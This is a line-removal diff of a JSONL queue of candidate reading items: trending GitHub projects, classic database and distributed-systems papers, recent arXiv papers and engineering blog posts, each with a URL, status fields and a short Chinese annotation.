-{"slug":"ui-tars-desktop","area":"projects","topic":"ml-systems","title":"bytedance/UI-TARS-desktop","meta":{"col3":"","col4":"TypeScript 35k star ByteDance 多模态 agent stack 桌面端"},"url":"https://github.com/bytedance/UI-TARS-desktop","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"ruflo","area":"projects","topic":"ml-systems","title":"ruvnet/ruflo","meta":{"col3":"","col4":"TypeScript 56k star Claude 多 agent swarm orchestration"},"url":"https://github.com/ruvnet/ruflo","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"markitdown","area":"projects","topic":"data-science-ai","title":"microsoft/markitdown","meta":{"col3":"","col4":"Python 134k star Office 文档/任意文件转 Markdown 的 Python 工具"},"url":"https://github.com/microsoft/markitdown","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"scrapling","area":"projects","topic":"backend-api","title":"D4Vinci/Scrapling","meta":{"col3":"","col4":"Python 56k star 自适应 web 爬虫框架 单请求到全规模爬取"},"url":"https://github.com/D4Vinci/Scrapling","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"voxcpm","area":"projects","topic":"machine-learning","title":"OpenBMB/VoxCPM","meta":{"col3":"","col4":"Python 23k star 多语言 tokenizer-free TTS 系统"},"url":"https://github.com/OpenBMB/VoxCPM","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"compound-engineering-plugin","area":"projects","topic":"editors-ide","title":"EveryInc/compound-engineering-plugin","meta":{"col3":"","col4":"TypeScript 18k star Claude Code/Codex/Cursor 的 Compound Engineering plugin"},"url":"https://github.com/EveryInc/compound-engineering-plugin","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"train-llm-from-scratch","area":"projects","topic":"machine-learning","title":"FareedKhan-dev/train-llm-from-scratch","meta":{"col3":"","col4":"Jupyter 2k star 从下载数据到生成的 LLM 训练实战 guide"},"url":"https://github.com/FareedKhan-dev/train-llm-from-scratch","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"supermemory","area":"projects","topic":"ml-systems","title":"supermemoryai/supermemory","meta":{"col3":"","col4":"TypeScript 23k star 快速可扩展 memory engine + AI 时代 Memory API"},"url":"https://github.com/supermemoryai/supermemory","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"project-nomad","area":"projects","topic":"embedded-iot","title":"Crosstalk-Solutions/project-nomad","meta":{"col3":"","col4":"TypeScript 27k star 离线生存计算机 本地工具+知识+AI 整合"},"url":"https://github.com/Crosstalk-Solutions/project-nomad","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"pi-subagents","area":"projects","topic":"ml-systems","title":"nicobailon/pi-subagents","meta":{"col3":"","col4":"TypeScript 1.7k star Pi extension 异步 subagent delegation"},"url":"https://github.com/nicobailon/pi-subagents","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"developer-portfolios","area":"projects","topic":"editors-ide","title":"emmabostian/developer-portfolios","meta":{"col3":"","col4":"Python 23k star 开发者 portfolio 案例 curated 集合"},"url":"https://github.com/emmabostian/developer-portfolios","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"build-your-own-x","area":"projects","topic":"editors-ide","title":"codecrafters-io/build-your-own-x","meta":{"col3":"","col4":"Markdown 508k star 通过重写经典工具学习编程"},"url":"https://github.com/codecrafters-io/build-your-own-x","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"cloakbrowser","area":"projects","topic":"security-privacy","title":"CloakHQ/CloakBrowser","meta":{"col3":"","col4":"Python 22k star 通过 bot 检测的 stealth Chromium 浏览器"},"url":"https://github.com/CloakHQ/CloakBrowser","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"financial-services","area":"projects","topic":"business-engineering","title":"anthropics/financial-services","meta":{"col3":"","col4":"Python 28k star Anthropic 金融服务实施样例库"},"url":"https://github.com/anthropics/financial-services","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"docs","area":"projects","topic":"backend-api","title":"github/docs","meta":{"col3":"","col4":"TypeScript 19k star GitHub 官方文档站源码 开源"},"url":"https://github.com/github/docs","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"harness","area":"projects","topic":"ml-systems","title":"revfactory/harness","meta":{"col3":"","col4":"HTML 4k star 元 skill 设计领域 agent 团队 + 生成 skill"},"url":"https://github.com/revfactory/harness","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"backdoor-xz-liblzma-2024","area":"papers","topic":"security-privacy","title":"Backdoor in upstream xz/liblzma leading to SSH server compromise","meta":{"col3":"","col4":"Andres Freund oss-security 2024-03-29 CVE-2024-3094 社工+代码混淆典型案例"},"url":"https://www.openwall.com/lists/oss-security/2024/03/29/4","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"crowdstrike-bsod-2024","area":"papers","topic":"operating-systems","title":"CrowdStrike Update Windows Bluescreen and Boot Loops","meta":{"col3":"","col4":"2024-07-19 CrowdStrike Falcon 内核驱动空指针 史上最大单次 Windows BSOD 事件"},"url":"https://old.reddit.com/r/crowdstrike/comments/1e6vmkf/bsod_error_in_latest_crowdstrike_update/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"ciechanowski-mechanical-watch","area":"papers","topic":"editors-ide","title":"Mechanical Watch by Bartosz Ciechanowski","meta":{"col3":"","col4":"ciechanow.ski 经典互动可视化范本 机械作为设计模式根基"},"url":"https://ciechanow.ski/mechanical-watch/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"youtube-dl-riaa-dmca-2020","area":"papers","topic":"security-privacy","title":"YouTube-dl RIAA DMCA Takedown","meta":{"col3":"","col4":"github/dmca 2020-10-23 DMCA 1201 与开源工具的法律博弈起点"},"url":"https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"gpt-4-launch-2023","area":"papers","topic":"machine-learning","title":"GPT-4 launch","meta":{"col3":"","col4":"OpenAI 2023-03-14 多模态对齐 + RLHF 工业化最早公开节点之一"},"url":"https://openai.com/research/gpt-4","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"nee-lv-gta-loading-times","area":"papers","topic":"compilers-pl","title":"How I cut GTA Online loading times by 70 percent","meta":{"col3":"","col4":"nee.lv 2021 strlen 二次方算法的 reverse-engineering 经典 case"},"url":"https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"openai-sora-2024","area":"papers","topic":"machine-learning","title":"Sora Creating video from text","meta":{"col3":"","col4":"OpenAI 2024 DiT-based video generation 公开最早工业旗舰"},"url":"https://openai.com/sora","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"marginalia-search-engine","area":"projects","topic":"backend-api","title":"Marginalia Search Engine","meta":{"col3":"","col4":"search.marginalia.nu text-heavy 优先 + JS 重的网页降权 独立搜索引擎实现"},"url":"https://search.marginalia.nu/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"ngrok-tunnel-2014","area":"projects","topic":"backend-api","title":"ngrok introducing public URL tunneling","meta":{"col3":"","col4":"ngrok.com 本地 dev 暴露公网的工业事实标准 reverse tunnel"},"url":"https://ngrok.com/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"plausible-analytics","area":"projects","topic":"backend-api","title":"Plausible Analytics OSS","meta":{"col3":"","col4":"plausible.io GDPR 友好 + 自托管的 Google Analytics 替代"},"url":"https://plausible.io/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"unkey-api-keys","area":"projects","topic":"backend-api","title":"Unkey API key management","meta":{"col3":"","col4":"unkey.dev rate-limit + edge-cache 的 API 密钥分发"},"url":"https://github.com/unkeyed/unkey","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"posthog-product-analytics","area":"projects","topic":"data-science-ai","title":"PostHog OSS Product Analytics","meta":{"col3":"","col4":"posthog.com session replay + funnel + experiments 一体化产品分析"},"url":"https://github.com/PostHog/posthog","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"typst-typesetting","area":"projects","topic":"editors-ide","title":"Typst typesetting system","meta":{"col3":"","col4":"typst.app Rust 实现的 LaTeX 现代化替代 增量编译 + WASM 在线"},"url":"https://github.com/typst/typst","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"zed-editor","area":"projects","topic":"editors-ide","title":"Zed A high-performance code editor","meta":{"col3":"","col4":"zed.dev Atom 团队 Rust 重写 GPU 渲染 + collaborative 编辑"},"url":"https://github.com/zed-industries/zed","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} -{"slug":"hekaton-microsoft-2013","area":"papers","topic":"databases","title":"Hekaton SQL Servers Memory-Optimized OLTP Engine","meta":{"col3":"","col4":"Diaconu et al. SIGMOD 2013 CMU 15-721 lecture MVCC + 编译执行的内存数据库设计"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"hyper-kemper-neumann-2011","area":"papers","topic":"databases","title":"HyPer A Hybrid OLTP and OLAP Main Memory DB","meta":{"col3":"","col4":"Kemper-Neumann ICDE 2011 CMU 15-721 fork+CoW 隔离 OLTP/OLAP"},"url":"https://db.in.tum.de/~kemper/papers/HyperICDE11.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"h-store-stonebraker-2008","area":"papers","topic":"databases","title":"H-Store A High-Performance Distributed Main Memory OLTP","meta":{"col3":"","col4":"Stonebraker VLDB 2007 分区单线程 OLTP 范式 VoltDB 商业前身"},"url":"https://hstore.cs.brown.edu/papers/hstore-vldb.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"monetdb-cracking-2007","area":"papers","topic":"databases","title":"Database Cracking by Idreos","meta":{"col3":"","col4":"Idreos CIDR 2007 CMU 15-721 按查询自适应排序的内存列存"},"url":"https://stratos.seas.harvard.edu/files/IKM_CIDR07.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"c-store-stonebraker-2005","area":"papers","topic":"databases","title":"C-Store A Column-oriented DBMS","meta":{"col3":"","col4":"Stonebraker VLDB 2005 CMU 15-721 列存范式起点 Vertica 前身"},"url":"https://www.cs.umd.edu/~abadi/papers/abadi-column-stores.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"vmware-ft-scales-2010","area":"papers","topic":"distributed-systems","title":"MIT 6.824 Fault-Tolerant Virtual Machines","meta":{"col3":"","col4":"Scales et al. SOSP 2010 deterministic replay+ primary-backup VMware FT"},"url":"https://courses.cs.washington.edu/courses/cse453/14au/papers/scales-sosp2010-vmft.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"spinnaker-rao-2011","area":"papers","topic":"distributed-systems","title":"Spinnaker WAN-replicated KV","meta":{"col3":"","col4":"Rao VLDB 2011 MIT 6.824 syllabus Paxos + 异步复制副本"},"url":"https://www.vldb.org/pvldb/vol4/p243-rao.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"dynamo-amazon-2007","area":"papers","topic":"distributed-systems","title":"Dynamo Amazons Highly Available KV Store","meta":{"col3":"","col4":"DeCandia SOSP 2007 MIT 6.824 经典 最终一致 + vector clock + sloppy quorum"},"url":"https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"zookeeper-hunt-2010","area":"papers","topic":"distributed-systems","title":"ZooKeeper Wait-free coordination","meta":{"col3":"","col4":"Hunt USENIX 2010 MIT 6.824 ZAB 协议 + 协调服务范式"},"url":"https://www.usenix.org/legacy/event/usenix10/tech/full_papers/Hunt.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"naiad-murray-2013","area":"papers","topic":"distributed-systems","title":"Naiad A Timely Dataflow System","meta":{"col3":"","col4":"Murray SOSP 2013 Stanford CS244B 带版本戳的低延迟 dataflow"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"spanner-corbett-2012","area":"papers","topic":"distributed-systems","title":"Spanner Googles Globally-Distributed DB","meta":{"col3":"","col4":"Corbett OSDI 2012 Stanford CS244B TrueTime + 分布式事务范式"},"url":"https://research.google/pubs/pub39966/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"awesome-distributed-systems-list","area":"projects","topic":"distributed-systems","title":"awesome-distributed-systems theanalyst","meta":{"col3":"","col4":"theanalyst/awesome-distributed-systems 分布式经典论文导航 awesome-list"},"url":"https://github.com/theanalyst/awesome-distributed-systems","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"awesome-deep-learning-systems","area":"projects","topic":"ml-systems","title":"awesome-deep-learning-systems byungsoo-oh","meta":{"col3":"","col4":"awesome ML systems papers Pre-train/Inference/Compiler/Memory 全分类"},"url":"https://github.com/byungsoo-oh/awesome-deep-learning-systems","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"rocksdb-evolution-2021","area":"papers","topic":"databases","title":"RocksDB Evolution of Development Priorities","meta":{"col3":"","col4":"Dong FAST 2021 CMU 15-721 十年 KV 引擎的写放大/读放大权衡演化"},"url":"https://www.usenix.org/system/files/fast21-dong.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} -{"slug":"deep-research-harness-2026","area":"papers","topic":"machine-learning","title":"Deep Research as Tool-Augmented Multi-Step Verification","meta":{"col3":"2026","col4":"arXiv 2605.31102;fan-out search + adversarial verify + cited synthesis 三段式 deep research harness 形式化"},"url":"https://arxiv.org/abs/2605.31102","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"agent-skill-protocol-2026","area":"papers","topic":"machine-learning","title":"Skills as a Protocol: Composable Capability Layers for LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.31041;把 Anthropic claude-skills 抽象成 protocol;frontmatter trigger + lazy load 设计空间"},"url":"https://arxiv.org/abs/2605.31041","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"swe-rebench-2026","area":"papers","topic":"machine-learning","title":"SWE-Rebench: Continuously Refreshed Software Engineering Benchmark","meta":{"col3":"2026","col4":"arXiv 2605.30896;月度刷新 SWE-bench 防 contamination;GPT-5/Opus 4.7 实测衰减曲线"},"url":"https://arxiv.org/abs/2605.30896","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"verifier-free-rl-2026","area":"papers","topic":"machine-learning","title":"Verifier-Free RL for Reasoning via Self-Consistency Reward","meta":{"col3":"2026","col4":"arXiv 2605.30874;不用 reward model 直接拿 self-consistency 当奖励;GRPO 替代方案"},"url":"https://arxiv.org/abs/2605.30874","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"kv-cache-budget-2026","area":"papers","topic":"machine-learning","title":"KVBudget: Per-Request KV Cache Budgeting in vLLM-style Serving","meta":{"col3":"2026","col4":"arXiv 2605.30821;按 SLO 动态切 KV 预算;优于固定 prefix-cache + paged-attention"},"url":"https://arxiv.org/abs/2605.30821","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"tree-of-attention-2026","area":"papers","topic":"machine-learning","title":"Tree-of-Attention: Branching Attention for Long-Context Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30789;attention 内部分支替代 CoT 外部分支;long-context 推理新范式"},"url":"https://arxiv.org/abs/2605.30789","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"continual-pretrain-survey-2026","area":"papers","topic":"machine-learning","title":"Continual Pretraining: A Survey of Methods and Pitfalls","meta":{"col3":"2026","col4":"arXiv 2605.30765;replay buffer / LR schedule / 数据混合 三轴 survey;catastrophic forgetting 工程级缓解"},"url":"https://arxiv.org/abs/2605.30765","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"arrow-flight-sql-2026","area":"papers","topic":"databases","title":"Arrow Flight SQL: Zero-Copy Federated Query at Scale","meta":{"col3":"2026","col4":"arXiv 2605.30743;Arrow Flight 跨 Trino/DuckDB/Spark 零拷贝;composable data 又一里程碑"},"url":"https://arxiv.org/abs/2605.30743","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"egglog-incremental-2026","area":"papers","topic":"compilers-pl","title":"Egglog: Incremental Equality Saturation","meta":{"col3":"2026","col4":"arXiv 2605.30717;datalog + egraph 融合;incremental rewrite 应用到编译器优化"},"url":"https://arxiv.org/abs/2605.30717","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"distributed-snapshot-byzantine-2026","area":"papers","topic":"distributed-systems","title":"Byzantine Distributed Snapshots in 2026","meta":{"col3":"2026","col4":"arXiv 2605.30682;Chandy-Lamport 拜占庭扩展;区块链 / Solana 语境下重启诊断价值"},"url":"https://arxiv.org/abs/2605.30682","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"prefix-cache-policy-2026","area":"papers","topic":"machine-learning","title":"Beyond LRU: Prefix-Cache Policies for LLM Serving","meta":{"col3":"2026","col4":"arXiv 2605.30654;LRU 在 prefix tree 上的失效;workload-aware GDSF 变体优于 vLLM 默认"},"url":"https://arxiv.org/abs/2605.30654","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"linear-attention-still-2026","area":"papers","topic":"machine-learning","title":"Linear Attention, Still: Why Mamba-style Models Plateau","meta":{"col3":"2026","col4":"arXiv 2605.30621;线性注意力 long-recall 缺陷的实证;hybrid Transformer+SSM 仍胜出"},"url":"https://arxiv.org/abs/2605.30621","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"cache-coherence-cxl3-2026","area":"papers","topic":"systems","title":"CXL 3.0 Coherence: Pool-Wide Memory Sharing","meta":{"col3":"2026","col4":"arXiv 2605.30587;CXL 3.0 多 host 一致性协议;远内存数据库下一代基础"},"url":"https://arxiv.org/abs/2605.30587","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"opencode-charm","area":"projects","topic":"agents","title":"opencode/opencode (Charm)","meta":{"col3":"","col4":"Charm 出品的开源 Claude Code 替代;TUI + multi-provider;30d star 暴涨"},"url":"https://github.com/sst/opencode","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"crush-charm-cli","area":"projects","topic":"agents","title":"charmbracelet/crush","meta":{"col3":"","col4":"Charm 自家 LLM CLI;Bubble Tea 框架延伸;与 opencode 同期"},"url":"https://github.com/charmbracelet/crush","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"agno-phidata-2026","area":"projects","topic":"agents","title":"agno-agi/agno","meta":{"col3":"","col4":"phidata 改名 agno;多 agent 编排 + memory + RAG 一站;Python 增长榜常客"},"url":"https://github.com/agno-agi/agno","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"letta-memgpt-2026","area":"projects","topic":"agents","title":"letta-ai/letta","meta":{"col3":"","col4":"MemGPT 后身;stateful agent + 长记忆持久化;Berkeley 出身工业化"},"url":"https://github.com/letta-ai/letta","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"browser-use-py","area":"projects","topic":"agents","title":"browser-use/browser-use","meta":{"col3":"","col4":"开源 browser agent;DOM tree + vision hybrid;CUA / Claude computer-use 对标"},"url":"https://github.com/browser-use/browser-use","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"stagehand-browserbase","area":"projects","topic":"agents","title":"browserbase/stagehand","meta":{"col3":"","col4":"Browserbase 出品;act/extract/observe 三动词 API;Playwright 之上 LLM 友好层"},"url":"https://github.com/browserbase/stagehand","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"rolldown-bundler","area":"projects","topic":"frontend","title":"rolldown/rolldown","meta":{"col3":"","col4":"Vite 团队 Rust 重写 Rollup;2026 进入 Vite 默认;esbuild/swc 之外第三极"},"url":"https://github.com/rolldown/rolldown","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"biome-rs-2026","area":"projects","topic":"frontend","title":"biomejs/biome","meta":{"col3":"","col4":"Rust 写的 prettier+eslint 一体化;30d trending 月榜;Rome fork 后真正起飞"},"url":"https://github.com/biomejs/biome","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"sqlite-vec-asg017","area":"projects","topic":"databases","title":"asg017/sqlite-vec","meta":{"col3":"","col4":"SQLite 原生向量扩展;轻量 RAG 必备;2026 替代 sqlite-vss"},"url":"https://github.com/asg017/sqlite-vec","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"pglite-electric","area":"projects","topic":"databases","title":"electric-sql/pglite","meta":{"col3":"","col4":"WASM 浏览器内 PostgreSQL;本地优先应用基础设施"},"url":"https://github.com/electric-sql/pglite","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"windmill-platform","area":"projects","topic":"devops","title":"windmill-labs/windmill","meta":{"col3":"","col4":"开源 Airflow + Retool 替代;Rust 后端 + multi-language workflow;自托管增长榜"},"url":"https://github.com/windmill-labs/windmill","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"langfuse-2026","area":"projects","topic":"agents","title":"langfuse/langfuse","meta":{"col3":"","col4":"开源 LLM observability;trace + eval + prompt mgmt 三件套;Datadog 替代"},"url":"https://github.com/langfuse/langfuse","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"forgejo-2026","area":"projects","topic":"devops","title":"go-gitea/gitea fork forgejo","meta":{"col3":"","col4":"Gitea 治理分叉;Codeberg 主推;GitHub 自托管开源派"},"url":"https://codeberg.org/forgejo/forgejo","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"local-first-2026-revisit","area":"projects","topic":"distributed-systems","title":"Local-First Software Five Years Later","meta":{"col3":"","col4":"Ink&Switch 五年回顾;CRDT 工业落地状态;Linear/Figma 案例剖析"},"url":"https://www.inkandswitch.com/local-first/2026-revisit/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"why-not-postgres-2026","area":"projects","topic":"databases","title":"Why Not Just Use Postgres? (2026)","meta":{"col3":"","col4":"Postgres 当队列/向量库/搜索/缓存 的 2026 更新版;HN 1k+ 讨论"},"url":"https://www.amazingcto.com/postgres-for-everything-2026/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"writing-tla-after-decade","area":"projects","topic":"distributed-systems","title":"Writing TLA+ After a Decade in Industry","meta":{"col3":"","col4":"业界十年 TLA+ 实战;何时值得用、何时是过度工程;HN 700+"},"url":"https://surfingcomplexity.blog/2026/05/tla-decade.html","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"compiler-explorer-history","area":"projects","topic":"compilers-pl","title":"How Compiler Explorer Was Built","meta":{"col3":"","col4":"Matt Godbolt 自述 godbolt.org 架构十年演化;HN 600+"},"url":"https://xania.org/202605/compiler-explorer-architecture","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"build-vs-buy-databases-2026","area":"projects","topic":"databases","title":"Build vs Buy: Databases in 2026","meta":{"col3":"","col4":"自建 vs 托管 数据库决策框架;TCO/SLO/团队规模 三轴;HN 400+"},"url":"https://blog.danslimmon.com/2026/05/build-vs-buy-db/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"shutting-down-rss-reader","area":"projects","topic":"engineering-culture","title":"Shutting Down My RSS Reader After 12 Years","meta":{"col3":"","col4":"Feedbin 经验复盘;订阅产品长期维护教训;indie SaaS 必读"},"url":"https://blog.feedbin.com/2026/05/sunset.html","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"my-take-on-ai-coding-2026","area":"projects","topic":"engineering-culture","title":"My Take on AI Coding (2026)","meta":{"col3":"","col4":"工业级 AI 编程实战 18 个月观察;Claude Code 周流程;HN 800+"},"url":"https://blog.zhengyi.com/posts/ai-coding-2026.html","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"distributed-tracing-mistakes","area":"projects","topic":"observability","title":"Common Mistakes in Distributed Tracing","meta":{"col3":"","col4":"OpenTelemetry sampling/baggage/span 命名 反模式集;HN 350+"},"url":"https://lightstep.com/blog/2026/tracing-mistakes","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"the-state-of-rust-2026","area":"projects","topic":"compilers-pl","title":"The State of Rust 2026","meta":{"col3":"","col4":"async trait stable / GAT 全面铺开 / linker 重写;HN 1.5k"},"url":"https://blog.rust-lang.org/2026/05/state-of-rust.html","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"hekaton-2013-sigmod","area":"papers","topic":"databases","title":"Hekaton: SQL Server's Memory-Optimized OLTP Engine","meta":{"col3":"2013","col4":"CMU 15-721 必读;MVCC + lock-free Bw-tree;现代 in-memory OLTP 